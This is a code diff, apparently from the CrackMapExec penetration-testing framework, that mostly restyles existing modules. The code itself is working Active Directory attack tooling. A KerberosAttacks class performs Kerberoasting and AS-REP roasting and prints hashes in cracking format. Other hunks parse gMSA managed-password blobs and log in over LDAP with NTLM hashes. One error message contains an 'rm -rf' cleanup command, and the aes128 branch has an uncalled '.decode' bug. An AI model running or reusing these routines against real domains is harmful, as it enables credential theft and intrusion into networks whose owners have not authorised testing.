start_time = time.time()
|
||||
if cachefile:
|
||||
self.ad.load_cachefile(cachefile)
|
||||
|
||||
# Check early if we should enumerate computers as well
|
||||
do_computer_enum = any(method in collect for method in ['localadmin', 'session', 'loggedon', 'experimental', 'rdp', 'dcom', 'psremote'])
|
||||
do_computer_enum = any(
|
||||
method in collect
|
||||
for method in [
|
||||
"localadmin",
|
||||
"session",
|
||||
"loggedon",
|
||||
"experimental",
|
||||
"rdp",
|
||||
"dcom",
|
||||
"psremote",
|
||||
]
|
||||
)
|
||||
|
||||
if 'group' in collect or 'objectprops' in collect or 'acl' in collect:
|
||||
if "group" in collect or "objectprops" in collect or "acl" in collect:
|
||||
# Fetch domains for later, computers if needed
|
||||
self.pdc.prefetch_info('objectprops' in collect, 'acl' in collect, cache_computers=do_computer_enum)
|
||||
self.pdc.prefetch_info(
|
||||
"objectprops" in collect,
|
||||
"acl" in collect,
|
||||
cache_computers=do_computer_enum,
|
||||
)
|
||||
# Initialize enumerator
|
||||
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
|
||||
membership_enum.enumerate_memberships(timestamp=timestamp)
|
||||
elif 'container' in collect:
|
||||
elif "container" in collect:
|
||||
# Fetch domains for later, computers if needed
|
||||
self.pdc.prefetch_info('objectprops' in collect, 'acl' in collect, cache_computers=do_computer_enum)
|
||||
self.pdc.prefetch_info(
|
||||
"objectprops" in collect,
|
||||
"acl" in collect,
|
||||
cache_computers=do_computer_enum,
|
||||
)
|
||||
# Initialize enumerator
|
||||
membership_enum = MembershipEnumerator(self.ad, self.pdc, collect, disable_pooling)
|
||||
membership_enum.do_container_collection(timestamp=timestamp)
|
||||
elif do_computer_enum:
|
||||
# We need to know which computers to query regardless
|
||||
# We also need the domains to have a mapping from NETBIOS -> FQDN for local admins
|
||||
self.pdc.prefetch_info('objectprops' in collect, 'acl' in collect, cache_computers=True)
|
||||
elif 'trusts' in collect:
|
||||
self.pdc.prefetch_info("objectprops" in collect, "acl" in collect, cache_computers=True)
|
||||
elif "trusts" in collect:
|
||||
# Prefetch domains
|
||||
self.pdc.get_domains('acl' in collect)
|
||||
if 'trusts' in collect or 'acl' in collect or 'objectprops' in collect:
|
||||
self.pdc.get_domains("acl" in collect)
|
||||
if "trusts" in collect or "acl" in collect or "objectprops" in collect:
|
||||
trusts_enum = DomainEnumerator(self.ad, self.pdc)
|
||||
trusts_enum.dump_domain(collect,timestamp=timestamp)
|
||||
trusts_enum.dump_domain(collect, timestamp=timestamp)
|
||||
if do_computer_enum:
|
||||
# If we don't have a GC server, don't use it for deconflictation
|
||||
have_gc = len(self.ad.gcs()) > 0
|
||||
computer_enum = ComputerEnumerator(self.ad, self.pdc, collect, do_gc_lookup=have_gc, computerfile=computerfile, exclude_dcs=exclude_dcs)
|
||||
computer_enum = ComputerEnumerator(
|
||||
self.ad,
|
||||
self.pdc,
|
||||
collect,
|
||||
do_gc_lookup=have_gc,
|
||||
computerfile=computerfile,
|
||||
exclude_dcs=exclude_dcs,
|
||||
)
|
||||
computer_enum.enumerate_computers(self.ad.computers, num_workers=num_workers, timestamp=timestamp)
|
||||
end_time = time.time()
|
||||
minutes, seconds = divmod(int(end_time-start_time),60)
|
||||
self.logger.highlight('Done in %02dM %02dS' % (minutes, seconds))
|
||||
minutes, seconds = divmod(int(end_time - start_time), 60)
|
||||
self.logger.highlight("Done in %02dM %02dS" % (minutes, seconds))
|
||||
|
||||
@@ -3,7 +3,11 @@
|
||||
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy import MetaData, Table
|
||||
from sqlalchemy.exc import IllegalStateChangeError, NoInspectionAvailable, NoSuchTableError
|
||||
from sqlalchemy.exc import (
|
||||
IllegalStateChangeError,
|
||||
NoInspectionAvailable,
|
||||
NoSuchTableError,
|
||||
)
|
||||
from cme.logger import cme_logger
|
||||
|
||||
|
||||
@@ -15,29 +19,30 @@ class database:
|
||||
self.db_engine = db_engine
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
session_factory = sessionmaker(
|
||||
bind=self.db_engine,
|
||||
expire_on_commit=True
|
||||
)
|
||||
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
|
||||
Session = scoped_session(session_factory)
|
||||
# this is still named "conn" when it is the session object; TODO: rename
|
||||
self.conn = Session()
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
db_conn.execute('''CREATE TABLE "credentials" (
|
||||
db_conn.execute(
|
||||
"""CREATE TABLE "credentials" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"username" text,
|
||||
"password" text
|
||||
)''')
|
||||
)"""
|
||||
)
|
||||
|
||||
db_conn.execute('''CREATE TABLE "hosts" (
|
||||
db_conn.execute(
|
||||
"""CREATE TABLE "hosts" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"ip" text,
|
||||
"hostname" text,
|
||||
"port" integer
|
||||
)''')
|
||||
)"""
|
||||
)
|
||||
|
||||
def reflect_tables(self):
|
||||
with self.db_engine.connect() as conn:
|
||||
@@ -45,12 +50,7 @@ class database:
|
||||
self.CredentialsTable = Table("credentials", self.metadata, autoload_with=self.db_engine)
|
||||
self.HostsTable = Table("hosts", self.metadata, autoload_with=self.db_engine)
|
||||
except (NoInspectionAvailable, NoSuchTableError):
|
||||
print(
|
||||
"[-] Error reflecting tables - this means there is a DB schema mismatch \n"
|
||||
"[-] This is probably because a newer version of CME is being ran on an old DB schema\n"
|
||||
"[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n"
|
||||
"[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema"
|
||||
)
|
||||
print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema")
|
||||
exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
|
||||
@@ -15,4 +15,4 @@ class navigator(DatabaseNavigator):
|
||||
THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE
|
||||
YOU CANNOT UNDO THIS COMMAND
|
||||
"""
|
||||
print_help(help_string)
|
||||
print_help(help_string)
|
||||
|
||||
+24
-23
@@ -1,35 +1,36 @@
|
||||
from impacket.structure import Structure
|
||||
|
||||
|
||||
class MSDS_MANAGEDPASSWORD_BLOB(Structure):
|
||||
structure = (
|
||||
('Version','<H'),
|
||||
('Reserved','<H'),
|
||||
('Length','<L'),
|
||||
('CurrentPasswordOffset','<H'),
|
||||
('PreviousPasswordOffset','<H'),
|
||||
('QueryPasswordIntervalOffset','<H'),
|
||||
('UnchangedPasswordIntervalOffset','<H'),
|
||||
('CurrentPassword',':'),
|
||||
('PreviousPassword',':'),
|
||||
#('AlignmentPadding',':'),
|
||||
('QueryPasswordInterval',':'),
|
||||
('UnchangedPasswordInterval',':'),
|
||||
("Version", "<H"),
|
||||
("Reserved", "<H"),
|
||||
("Length", "<L"),
|
||||
("CurrentPasswordOffset", "<H"),
|
||||
("PreviousPasswordOffset", "<H"),
|
||||
("QueryPasswordIntervalOffset", "<H"),
|
||||
("UnchangedPasswordIntervalOffset", "<H"),
|
||||
("CurrentPassword", ":"),
|
||||
("PreviousPassword", ":"),
|
||||
# ('AlignmentPadding',':'),
|
||||
("QueryPasswordInterval", ":"),
|
||||
("UnchangedPasswordInterval", ":"),
|
||||
)
|
||||
|
||||
def __init__(self, data = None):
|
||||
Structure.__init__(self, data = data)
|
||||
def __init__(self, data=None):
|
||||
Structure.__init__(self, data=data)
|
||||
|
||||
def fromString(self, data):
|
||||
Structure.fromString(self,data)
|
||||
Structure.fromString(self, data)
|
||||
|
||||
if self['PreviousPasswordOffset'] == 0:
|
||||
endData = self['QueryPasswordIntervalOffset']
|
||||
if self["PreviousPasswordOffset"] == 0:
|
||||
endData = self["QueryPasswordIntervalOffset"]
|
||||
else:
|
||||
endData = self['PreviousPasswordOffset']
|
||||
endData = self["PreviousPasswordOffset"]
|
||||
|
||||
self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:endData - self['CurrentPasswordOffset']]
|
||||
if self['PreviousPasswordOffset'] != 0:
|
||||
self['PreviousPassword'] = self.rawData[self['PreviousPasswordOffset']:][:self['QueryPasswordIntervalOffset']-self['PreviousPasswordOffset']]
|
||||
self["CurrentPassword"] = self.rawData[self["CurrentPasswordOffset"] :][: endData - self["CurrentPasswordOffset"]]
|
||||
if self["PreviousPasswordOffset"] != 0:
|
||||
self["PreviousPassword"] = self.rawData[self["PreviousPasswordOffset"] :][: self["QueryPasswordIntervalOffset"] - self["PreviousPasswordOffset"]]
|
||||
|
||||
self['QueryPasswordInterval'] = self.rawData[self['QueryPasswordIntervalOffset']:][:self['UnchangedPasswordIntervalOffset']-self['QueryPasswordIntervalOffset']]
|
||||
self['UnchangedPasswordInterval'] = self.rawData[self['UnchangedPasswordIntervalOffset']:]
|
||||
self["QueryPasswordInterval"] = self.rawData[self["QueryPasswordIntervalOffset"] :][: self["UnchangedPasswordIntervalOffset"] - self["QueryPasswordIntervalOffset"]]
|
||||
self["UnchangedPasswordInterval"] = self.rawData[self["UnchangedPasswordIntervalOffset"] :]
|
||||
|
||||
+123
-82
@@ -7,7 +7,15 @@ from datetime import datetime, timedelta
|
||||
from os import getenv
|
||||
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.asn1 import TGS_REP, AS_REQ, KERB_PA_PAC_REQUEST, KRB_ERROR, AS_REP, seq_set, seq_set_iter
|
||||
from impacket.krb5.asn1 import (
|
||||
TGS_REP,
|
||||
AS_REQ,
|
||||
KERB_PA_PAC_REQUEST,
|
||||
KRB_ERROR,
|
||||
AS_REP,
|
||||
seq_set,
|
||||
seq_set_iter,
|
||||
)
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.kerberosv5 import sendReceive, KerberosError, getKerberosTGT
|
||||
from impacket.krb5.types import KerberosTime, Principal
|
||||
@@ -19,27 +27,26 @@ from cme.logger import cme_logger
|
||||
|
||||
|
||||
class KerberosAttacks:
|
||||
|
||||
def __init__(self, connection):
|
||||
self.username = connection.username
|
||||
self.password = connection.password
|
||||
self.domain = connection.domain
|
||||
self.targetDomain = connection.targetDomain
|
||||
self.hash = connection.hash
|
||||
self.lmhash = ''
|
||||
self.nthash = ''
|
||||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
self.aesKey = connection.aesKey
|
||||
self.kdcHost = connection.kdcHost
|
||||
self.kerberos = connection.kerberos
|
||||
|
||||
if self.hash is not None:
|
||||
if self.hash.find(':') != -1:
|
||||
self.lmhash, self.nthash = self.hash.split(':')
|
||||
if self.hash.find(":") != -1:
|
||||
self.lmhash, self.nthash = self.hash.split(":")
|
||||
else:
|
||||
self.nthash = self.hash
|
||||
|
||||
|
||||
if self.password is None:
|
||||
self.password = ''
|
||||
self.password = ""
|
||||
|
||||
def outputTGS(self, tgs, oldSessionKey, sessionKey, username, spn, fd=None):
|
||||
decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
|
||||
@@ -56,49 +63,63 @@ class KerberosAttacks:
|
||||
# In short, we're interested in splitting the checksum and the rest of the encrypted data
|
||||
#
|
||||
# Regarding AES encryption type (AES128 CTS HMAC-SHA1 96 and AES256 CTS HMAC-SHA1 96)
|
||||
# last 12 bytes of the encrypted ticket represent the checksum of the decrypted
|
||||
# last 12 bytes of the encrypted ticket represent the checksum of the decrypted
|
||||
# ticket
|
||||
if decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.rc4_hmac.value:
|
||||
entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
|
||||
constants.EncryptionTypes.rc4_hmac.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
|
||||
hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
|
||||
hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
|
||||
elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
|
||||
entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
|
||||
constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
|
||||
hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
|
||||
hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode)
|
||||
elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
|
||||
entry = '$krb5tgs$%d$%s$%s$*%s*$%s$%s' % (
|
||||
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
|
||||
hexlify(decodedTGS['ticket']['enc-part']['cipher'][-12:].asOctets()).decode(),
|
||||
hexlify(decodedTGS['ticket']['enc-part']['cipher'][:-12:].asOctets()).decode())
|
||||
elif decodedTGS['ticket']['enc-part']['etype'] == constants.EncryptionTypes.des_cbc_md5.value:
|
||||
entry = '$krb5tgs$%d$*%s$%s$%s*$%s$%s' % (
|
||||
constants.EncryptionTypes.des_cbc_md5.value, username, decodedTGS['ticket']['realm'], spn.replace(':', '~'),
|
||||
hexlify(decodedTGS['ticket']['enc-part']['cipher'][:16].asOctets()).decode(),
|
||||
hexlify(decodedTGS['ticket']['enc-part']['cipher'][16:].asOctets()).decode())
|
||||
if decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.rc4_hmac.value:
|
||||
entry = "$krb5tgs$%d$*%s$%s$%s*$%s$%s" % (
|
||||
constants.EncryptionTypes.rc4_hmac.value,
|
||||
username,
|
||||
decodedTGS["ticket"]["realm"],
|
||||
spn.replace(":", "~"),
|
||||
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:16].asOctets()).decode(),
|
||||
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(),
|
||||
)
|
||||
elif decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value:
|
||||
entry = "$krb5tgs$%d$%s$%s$*%s*$%s$%s" % (
|
||||
constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value,
|
||||
username,
|
||||
decodedTGS["ticket"]["realm"],
|
||||
spn.replace(":", "~"),
|
||||
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][-12:].asOctets()).decode(),
|
||||
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode,
|
||||
)
|
||||
elif decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value:
|
||||
entry = "$krb5tgs$%d$%s$%s$*%s*$%s$%s" % (
|
||||
constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value,
|
||||
username,
|
||||
decodedTGS["ticket"]["realm"],
|
||||
spn.replace(":", "~"),
|
||||
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][-12:].asOctets()).decode(),
|
||||
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode(),
|
||||
)
|
||||
elif decodedTGS["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.des_cbc_md5.value:
|
||||
entry = "$krb5tgs$%d$*%s$%s$%s*$%s$%s" % (
|
||||
constants.EncryptionTypes.des_cbc_md5.value,
|
||||
username,
|
||||
decodedTGS["ticket"]["realm"],
|
||||
spn.replace(":", "~"),
|
||||
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][:16].asOctets()).decode(),
|
||||
hexlify(decodedTGS["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(),
|
||||
)
|
||||
else:
|
||||
logging.error('Skipping %s/%s due to incompatible e-type %d' % (
|
||||
decodedTGS['ticket']['sname']['name-string'][0], decodedTGS['ticket']['sname']['name-string'][1],
|
||||
decodedTGS['ticket']['enc-part']['etype']))
|
||||
cme_logger.error("Skipping" f" {decodedTGS['ticket']['sname']['name-string'][0]}/{decodedTGS['ticket']['sname']['name-string'][1]} due" f" to incompatible e-type {decodedTGS['ticket']['enc-part']['etype']:d}")
|
||||
|
||||
return entry
|
||||
|
||||
def getTGT_kerberoasting(self):
|
||||
try:
|
||||
ccache = CCache.loadFile(getenv('KRB5CCNAME'))
|
||||
ccache = CCache.loadFile(getenv("KRB5CCNAME"))
|
||||
# retrieve user and domain information from CCache file if needed
|
||||
if self.domain == '':
|
||||
domain = ccache.principal.realm['data']
|
||||
if self.domain == "":
|
||||
domain = ccache.principal.realm["data"]
|
||||
else:
|
||||
domain = self.domain
|
||||
cme_logger.debug("Using Kerberos Cache: %s" % getenv('KRB5CCNAME'))
|
||||
principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
|
||||
cme_logger.debug("Using Kerberos Cache: %s" % getenv("KRB5CCNAME"))
|
||||
principal = "krbtgt/%s@%s" % (domain.upper(), domain.upper())
|
||||
creds = ccache.getCredential(principal)
|
||||
if creds is not None:
|
||||
TGT = creds.toTGT()
|
||||
cme_logger.debug('Using TGT from cache')
|
||||
cme_logger.debug("Using TGT from cache")
|
||||
return TGT
|
||||
else:
|
||||
cme_logger.debug("No valid credentials found in cache. ")
|
||||
@@ -113,76 +134,90 @@ class KerberosAttacks:
|
||||
# password to ntlm hashes (that will force to use RC4 for the TGT). If that doesn't work, we use the
|
||||
# cleartext password.
|
||||
# If no clear text password is provided, we just go with the defaults.
|
||||
if self.password != '' and (self.lmhash == '' and self.nthash == ''):
|
||||
if self.password != "" and (self.lmhash == "" and self.nthash == ""):
|
||||
try:
|
||||
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, '', self.domain,
|
||||
compute_lmhash(self.password),
|
||||
compute_nthash(self.password), self.aesKey,
|
||||
kdcHost=self.kdcHost)
|
||||
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
|
||||
userName,
|
||||
"",
|
||||
self.domain,
|
||||
compute_lmhash(self.password),
|
||||
compute_nthash(self.password),
|
||||
self.aesKey,
|
||||
kdcHost=self.kdcHost,
|
||||
)
|
||||
except Exception as e:
|
||||
cme_logger.debug('TGT: %s' % str(e))
|
||||
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.password, self.domain,
|
||||
unhexlify(self.lmhash),
|
||||
unhexlify(self.nthash), self.aesKey,
|
||||
kdcHost=self.kdcHost)
|
||||
cme_logger.debug("TGT: %s" % str(e))
|
||||
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
|
||||
userName,
|
||||
self.password,
|
||||
self.domain,
|
||||
unhexlify(self.lmhash),
|
||||
unhexlify(self.nthash),
|
||||
self.aesKey,
|
||||
kdcHost=self.kdcHost,
|
||||
)
|
||||
|
||||
else:
|
||||
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.password, self.domain,
|
||||
unhexlify(self.lmhash),
|
||||
unhexlify(self.nthash), self.aesKey,
|
||||
kdcHost=self.kdcHost)
|
||||
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
|
||||
userName,
|
||||
self.password,
|
||||
self.domain,
|
||||
unhexlify(self.lmhash),
|
||||
unhexlify(self.nthash),
|
||||
self.aesKey,
|
||||
kdcHost=self.kdcHost,
|
||||
)
|
||||
TGT = {}
|
||||
TGT['KDC_REP'] = tgt
|
||||
TGT['cipher'] = cipher
|
||||
TGT['sessionKey'] = sessionKey
|
||||
TGT["KDC_REP"] = tgt
|
||||
TGT["cipher"] = cipher
|
||||
TGT["sessionKey"] = sessionKey
|
||||
|
||||
return TGT
|
||||
|
||||
def getTGT_asroast(self, userName, requestPAC=True):
|
||||
|
||||
clientName = Principal(userName, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
|
||||
asReq = AS_REQ()
|
||||
|
||||
domain = self.targetDomain.upper()
|
||||
serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
serverName = Principal("krbtgt/%s" % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
|
||||
pacRequest = KERB_PA_PAC_REQUEST()
|
||||
pacRequest['include-pac'] = requestPAC
|
||||
pacRequest["include-pac"] = requestPAC
|
||||
encodedPacRequest = encoder.encode(pacRequest)
|
||||
|
||||
asReq['pvno'] = 5
|
||||
asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value)
|
||||
asReq["pvno"] = 5
|
||||
asReq["msg-type"] = int(constants.ApplicationTagNumbers.AS_REQ.value)
|
||||
|
||||
asReq['padata'] = noValue
|
||||
asReq['padata'][0] = noValue
|
||||
asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
|
||||
asReq['padata'][0]['padata-value'] = encodedPacRequest
|
||||
asReq["padata"] = noValue
|
||||
asReq["padata"][0] = noValue
|
||||
asReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
|
||||
asReq["padata"][0]["padata-value"] = encodedPacRequest
|
||||
|
||||
reqBody = seq_set(asReq, 'req-body')
|
||||
reqBody = seq_set(asReq, "req-body")
|
||||
|
||||
opts = list()
|
||||
opts.append(constants.KDCOptions.forwardable.value)
|
||||
opts.append(constants.KDCOptions.renewable.value)
|
||||
opts.append(constants.KDCOptions.proxiable.value)
|
||||
reqBody['kdc-options'] = constants.encodeFlags(opts)
|
||||
reqBody["kdc-options"] = constants.encodeFlags(opts)
|
||||
|
||||
seq_set(reqBody, 'sname', serverName.components_to_asn1)
|
||||
seq_set(reqBody, 'cname', clientName.components_to_asn1)
|
||||
seq_set(reqBody, "sname", serverName.components_to_asn1)
|
||||
seq_set(reqBody, "cname", clientName.components_to_asn1)
|
||||
|
||||
if domain == '':
|
||||
cme_logger.error('Empty Domain not allowed in Kerberos')
|
||||
if domain == "":
|
||||
cme_logger.error("Empty Domain not allowed in Kerberos")
|
||||
return
|
||||
|
||||
reqBody['realm'] = domain
|
||||
reqBody["realm"] = domain
|
||||
now = datetime.utcnow() + timedelta(days=1)
|
||||
reqBody['till'] = KerberosTime.to_asn1(now)
|
||||
reqBody['rtime'] = KerberosTime.to_asn1(now)
|
||||
reqBody['nonce'] = random.getrandbits(31)
|
||||
reqBody["till"] = KerberosTime.to_asn1(now)
|
||||
reqBody["rtime"] = KerberosTime.to_asn1(now)
|
||||
reqBody["nonce"] = random.getrandbits(31)
|
||||
|
||||
supportedCiphers = (int(constants.EncryptionTypes.rc4_hmac.value),)
|
||||
|
||||
seq_set_iter(reqBody, 'etype', supportedCiphers)
|
||||
seq_set_iter(reqBody, "etype", supportedCiphers)
|
||||
|
||||
message = encoder.encode(asReq)
|
||||
|
||||
@@ -191,9 +226,11 @@ class KerberosAttacks:
|
||||
except KerberosError as e:
|
||||
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
|
||||
# RC4 not available, OK, let's ask for newer types
|
||||
supportedCiphers = (int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
|
||||
int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),)
|
||||
seq_set_iter(reqBody, 'etype', supportedCiphers)
|
||||
supportedCiphers = (
|
||||
int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value),
|
||||
int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value),
|
||||
)
|
||||
seq_set_iter(reqBody, "etype", supportedCiphers)
|
||||
message = encoder.encode(asReq)
|
||||
r = sendReceive(message, domain, self.kdcHost)
|
||||
elif e.getErrorCode() == constants.ErrorCodes.KDC_ERR_KEY_EXPIRED.value:
|
||||
@@ -211,11 +248,15 @@ class KerberosAttacks:
|
||||
asRep = decoder.decode(r, asn1Spec=AS_REP())[0]
|
||||
else:
|
||||
# The user doesn't have UF_DONT_REQUIRE_PREAUTH set
|
||||
cme_logger.debug('User %s doesn\'t have UF_DONT_REQUIRE_PREAUTH set' % userName)
|
||||
cme_logger.debug("User %s doesn't have UF_DONT_REQUIRE_PREAUTH set" % userName)
|
||||
return
|
||||
|
||||
# Let's output the TGT enc-part/cipher in Hashcat format, in case somebody wants to use it.
|
||||
hash_TGT = '$krb5asrep$%d$%s@%s:%s$%s' % ( asRep['enc-part']['etype'], clientName, domain,
|
||||
hexlify(asRep['enc-part']['cipher'].asOctets()[:16]).decode(),
|
||||
hexlify(asRep['enc-part']['cipher'].asOctets()[16:]).decode())
|
||||
hash_TGT = "$krb5asrep$%d$%s@%s:%s$%s" % (
|
||||
asRep["enc-part"]["etype"],
|
||||
clientName,
|
||||
domain,
|
||||
hexlify(asRep["enc-part"]["cipher"].asOctets()[:16]).decode(),
|
||||
hexlify(asRep["enc-part"]["cipher"].asOctets()[16:]).decode(),
|
||||
)
|
||||
return hash_TGT
|
||||
|
||||
@@ -0,0 +1,268 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from pyasn1.codec.der import decoder
|
||||
from pyasn1_modules import rfc5652
|
||||
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from impacket.krb5.kerberosv5 import KerberosError
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.epm import hept_map
|
||||
from impacket.dcerpc.v5.gkdi import MSRPC_UUID_GKDI, GkdiGetKey, GroupKeyEnvelope
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_INTEGRITY, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from impacket.dpapi_ng import EncryptedPasswordBlob, KeyIdentifier, compute_kek, create_sd, decrypt_plaintext, unwrap_cek
|
||||
|
||||
from cme.logger import CMEAdapter
|
||||
|
||||
ldap_error_status = {
|
||||
"1": "STATUS_NOT_SUPPORTED",
|
||||
"533": "STATUS_ACCOUNT_DISABLED",
|
||||
"701": "STATUS_ACCOUNT_EXPIRED",
|
||||
"531": "STATUS_ACCOUNT_RESTRICTION",
|
||||
"530": "STATUS_INVALID_LOGON_HOURS",
|
||||
"532": "STATUS_PASSWORD_EXPIRED",
|
||||
"773": "STATUS_PASSWORD_MUST_CHANGE",
|
||||
"775": "USER_ACCOUNT_LOCKED",
|
||||
"50": "LDAP_INSUFFICIENT_ACCESS",
|
||||
"KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED",
|
||||
"KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED",
|
||||
}
|
||||
|
||||
|
||||
class LDAPConnect:
|
||||
def __init__(self, host, port, hostname):
|
||||
self.logger = None
|
||||
self.proto_logger(host, port, hostname)
|
||||
|
||||
def proto_logger(self, host, port, hostname):
|
||||
self.logger = CMEAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname})
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
if kdcHost is None:
|
||||
kdcHost = domain
|
||||
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash and ntlm_hash.find(":") != -1:
|
||||
lmhash, nthash = ntlm_hash.split(":")
|
||||
elif ntlm_hash:
|
||||
nthash = ntlm_hash
|
||||
|
||||
# Create the baseDN
|
||||
baseDN = ""
|
||||
domainParts = domain.split(".")
|
||||
for i in domainParts:
|
||||
baseDN += f"dc={i},"
|
||||
# Remove last ','
|
||||
baseDN = baseDN[:-1]
|
||||
|
||||
try:
|
||||
ldapConnection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN)
|
||||
ldapConnection.kerberosLogin(
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
lmhash,
|
||||
nthash,
|
||||
aesKey,
|
||||
kdcHost=kdcHost,
|
||||
useCache=False,
|
||||
)
|
||||
# Connect to LDAP
|
||||
out = f"{domain}{username}:{password if password else ntlm_hash}"
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
self.logger.extra["port"] = "389"
|
||||
return ldapConnection
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# We need to try SSL
|
||||
try:
|
||||
ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN)
|
||||
ldapConnection.login(
|
||||
username,
|
||||
password,
|
||||
domain,
|
||||
lmhash,
|
||||
nthash,
|
||||
aesKey,
|
||||
kdcHost=kdcHost,
|
||||
useCache=False,
|
||||
)
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
# self.logger.success(out)
|
||||
return ldapConnection
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
errorCode = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
|
||||
color="magenta" if errorCode in ldap_error_status else "red",
|
||||
)
|
||||
else:
|
||||
errorCode = str(e).split()[-2][:-1]
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}",
|
||||
color="magenta" if errorCode in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
|
||||
except OSError as e:
|
||||
